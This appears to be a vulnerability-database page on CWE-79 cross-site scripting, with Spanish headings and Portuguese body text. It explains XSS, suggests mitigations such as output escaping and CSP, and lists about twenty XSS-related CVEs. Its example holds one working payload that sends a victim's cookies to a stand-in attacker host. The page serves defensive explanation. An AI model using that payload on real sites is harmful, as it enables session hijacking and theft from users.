Fallos del tipo CWE-79

30.300 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-35284MEDIUMA vulnerability in the legacy chat component of Mitel MiContact Center Business through 10.0.0.4 could allow an unauthenticated attacker to EPSS 0.3%CVE-2025-8073MEDIUMDynamic AJAX Product Filters for WooCommerce <= 1.3.7 - Authenticated (Contributor+) Stored Cross-Site Scripting via name ParameterEPSS 0.3%CVE-2024-38785MEDIUMWordPress Gutenverse plugin <= 1.9.2 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-97735HIGHITFlow before 26.08 allows SVG attachments in the ticket email parser (cron/ticket_email_parser.php) for email messages that may arrive overEPSS 0.3%CVE-2025-8208MEDIUMSpexo Addons for Elementor <= 1.0.23 - Authenticated (Contributor+) Stored Cross-Site Scripting via Countdown WidgetEPSS 0.3%CVE-2025-8580MEDIUMInappropriate implementation in Filesystems in Google Chrome prior to 139.0.7258.66 allowed a remote attacker to perform UI spoofing via a cEPSS 0.3%CVE-2026-97339HIGHComplianz GDPR/CCPA Cookie Consent Banner <= 7.5.5 - Unauthenticated Stored Cross-Site Scripting via Comment Content via yotu-wp Cookie-Blocker FilterEPSS 0.3%CVE-2024-34566MEDIUMWordPress Content Blocks (Custom Post Widget) plugin <= 3.3.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-35715MEDIUMWordPress Bloglo and Blogvi themes affected by Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-14221MEDIUMSourceCodester Online Banking System page cross site scriptingEPSS 0.3%CVE-2023-49573HIGHXSS vulnerability in VX Search EnterpriseEPSS 0.3%CVE-2026-2201MEDIUMZeroWdd studentmanager LeaveController.java addLeave cross site scriptingEPSS 0.3%CVE-2026-2432MEDIUMCM Custom Reports <= 1.2.7 - Authenticated (Administrator+) Stored Cross-Site Scripting via Plugin LabelsEPSS 0.3%CVE-2025-52662MEDIUMA vulnerability in Nuxt DevTools has been fixed in version **2.6.4***. This issue may have allowed Nuxt auth token extraction via XSS under EPSS 0.3%CVE-2024-51677MEDIUMWordPress Knowledge Base plugin <= 2.2.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-9565MEDIUMBlocksy Companion <= 2.1.10 - Authenticated (Contributor+) Stored Cross-Site Scripting via blocksy_newsletter_subscribe ShortcodeEPSS 0.3%CVE-2024-51578MEDIUMWordPress 3D Presentation plugin <= 1.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-52422MEDIUMWordPress WP Githuber MD plugin <= 1.16.3 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-66470MEDIUMNiceGUI Stored/Reflected XSS in ui.interactive_image via unsanitized SVG contentEPSS 0.3%CVE-2024-41587MEDIUMStored XSS, by authenticated users, is caused by poor sanitization of the Login Page Greeting message in DrayTek Vigor310 devices through 4.EPSS 0.3%